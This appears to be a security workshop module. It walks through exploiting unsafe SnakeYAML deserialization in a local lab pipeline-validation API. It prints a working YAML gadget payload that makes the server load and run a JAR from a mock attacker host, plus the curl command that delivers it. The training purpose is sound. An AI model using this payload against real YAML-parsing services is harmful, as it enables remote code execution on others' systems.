Module 2: See the Bug in Action

In Module 1 you saw normal pipeline YAML work fine. This module sends different YAML to the same endpoint — YAML that abuses SnakeYAML’s Constructor class so the server runs code it should never run.

Run all commands from the repository root (where compose.yaml lives).

What you are simulating

Module 1 described how a malicious pull request could land pipeline YAML on a validator running near your build system. Here you simulate that parse step: you post crafted YAML to POST /api/pipelines/validate with curl, exactly as CI might forward a file from a PR.

The server on port 9999

When you ran make up, compose started two services (see compose.yaml):

  • app (port 8080) — the Pipeline Definition API you used in Module 1

  • mock-server (port 9999) — a tiny Python web server that hosts files from the scripts/ folder

In the lab, mock-server plays the attacker’s download site. It serves scripts/malicious.jar at http://localhost:9999/malicious.jar so you can open that URL in your browser and confirm the file is there.

Inside the compose network the app does not use localhost:9999. Containers talk to each other by service name, so the payload uses http://mock-server:9999/malicious.jar — that is the same server, seen from inside the app container.

malicious.jar was built during Environment Setup. It is not part of your application. It is a small stand-in for code an attacker would host on the internet. When the app loads and runs it, the JAR writes a proof file to .workshop-data/pwned so you can see the attack succeeded without doing real damage.

What the malicious YAML does

Open scripts/examples/exploit-payload.yaml. It does not look like a pipeline file. Instead it uses special YAML markers (!!) that tell SnakeYAML to create specific Java classes:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://mock-server:9999/malicious.jar"]
  ]]
]

Step by step, inside the app container:

  1. Your curl posts this YAML to the Pipeline Definition API

  2. PipelineYamlParser passes it to SnakeYAML’s Constructor — the risky pattern from Module 1

  3. SnakeYAML instantiates a ScriptEngineManager wired to load classes from a URL

  4. The JVM fetches malicious.jar from mock-server:9999

  5. Code inside that JAR runs and creates .workshop-data/pwned

None of that should happen when someone submits a pipeline definition. The bug is that SnakeYAML honors those markers on input your app treated as data to parse.

Before you start

You should already have:

  • scripts/malicious.jar from setup (make setup)

  • The stack still running from Module 1 (make up)

If you stopped the stack, start it again:

make up

If scripts/malicious.jar is missing, run make build-malicious-jar once.

Remove any leftover proof file from a previous run:

rm -f .workshop-data/pwned

Send the malicious YAML

In another terminal:

curl -s -X POST http://localhost:8080/api/pipelines/validate \
  -H 'Content-Type: text/plain' \
  --data-binary @./scripts/examples/exploit-payload.yaml

An HTTP 500 response is normal. The API fails while parsing — but the dangerous work may already have happened during parsing. Success is not a 200 response; it is the proof file on disk.

Check the result

test -f .workshop-data/pwned && cat .workshop-data/pwned

If you see file contents, the demo worked: YAML from your request became running code on the server, which fetched a JAR from port 9999 and executed it.

In production, the next steps for an attacker — stealing secrets, changing pipelines, shipping a bad build — are out of scope here. The point of this module is to show that the front door opens: untrusted YAML became running code on the server.

Clean up before the next module

rm -f .workshop-data/pwned
make down
This demo is intentional and for education only. Never run it against systems you do not own.